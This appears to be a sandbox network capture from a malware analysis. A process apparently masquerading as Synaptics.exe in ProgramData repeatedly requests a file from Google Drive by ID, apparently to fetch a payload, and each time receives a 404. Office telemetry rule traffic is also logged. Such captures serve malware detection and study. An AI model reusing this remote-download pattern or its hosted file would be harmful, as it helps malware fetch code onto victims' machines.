2024-12-05 23:15:54 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:54 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 49 70 53 31 78 56 5f 50 61 45 44 70 5f 4e 44 47 63 37 6e 70 42 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="IpS1xV_PaEDp_NDGc7npBA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:54 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49878	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:53 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-12-05 23:15:54 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:54 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-JesJ27TRIx8J5yHkZ0H9ig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49879	142.250.181.33	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:53 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=519=2TRLETcpdYSb1n8_gWEAOIhoYoP59gnLOOm7oFV9-MdxaybFFISp0XHtFBfqBuCWkcOXBH8bnDfU6MwXaXMrdR90foUf91YVZaodGa4GgbiSxLZzbl8kGI7QOaNw4ghwLPqQTeGB-91eWGHD5CmVIr6gFqU3pqzcoa5V2fTtLjb_BPRxBVeVmjk
2024-12-05 23:15:54 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:54 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-dA2cZ3W7k32Tm9Oi4PuTEw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AFiumC4Ch90_Wvz1w4cJ1ELZsMuf5QuJebh-ttSlHwpsDuF5OqaMqP4fq29g0QKnOcNG3hBy_n0NJEJHbg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-05 23:15:54 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Err
2024-12-05 23:15:54 UTC	1390	IN	Data Raw: 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 44 71 6c 53 63 49 36 34 72 56 6f 49 79 78 38 61 77 64 52 51 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 Data Ascii: or 404 (Not Found)!!1</title><style nonce="1DqlScI64rVoIyx8awdRQg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180
2024-12-05 23:15:54 UTC	125	IN	Data Raw: 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: .</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49887	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM
2024-12-05 23:15:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-CcoT_DSn3ZLH-u0dzx7sqA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49888	142.250.181.14	443	4632	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:56 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=519=wilSLc7w7Dl2tqHEbtT-2VS6k3jk7Iz9aDWgnxG_NKdjYnR7Fv2lWVEjWXk8djyUe7clSIELRiK7VxSkkdx0H-xPbobSC0UTy5jaL864-5miEIkrD5W9L3D_3V8H90GosV9tqwseNmDupaSzZ05lq-8Y9O88ZER30fdXD2i_kEfS2n6IA4TzRhM
2024-12-05 23:15:57 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 05 Dec 2024 23:15:57 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce--gjZEKJXKoDQX9rVJ5xPNg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 23:15:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 23:15:57 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 23:15:57 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: c4b28cbf-a01e-0053-235f-478603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T231557Z-1746fd949bd5gpk5hC1EWR8dk40000000130000000000663 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 23:15:57 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-05 23:15:57 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
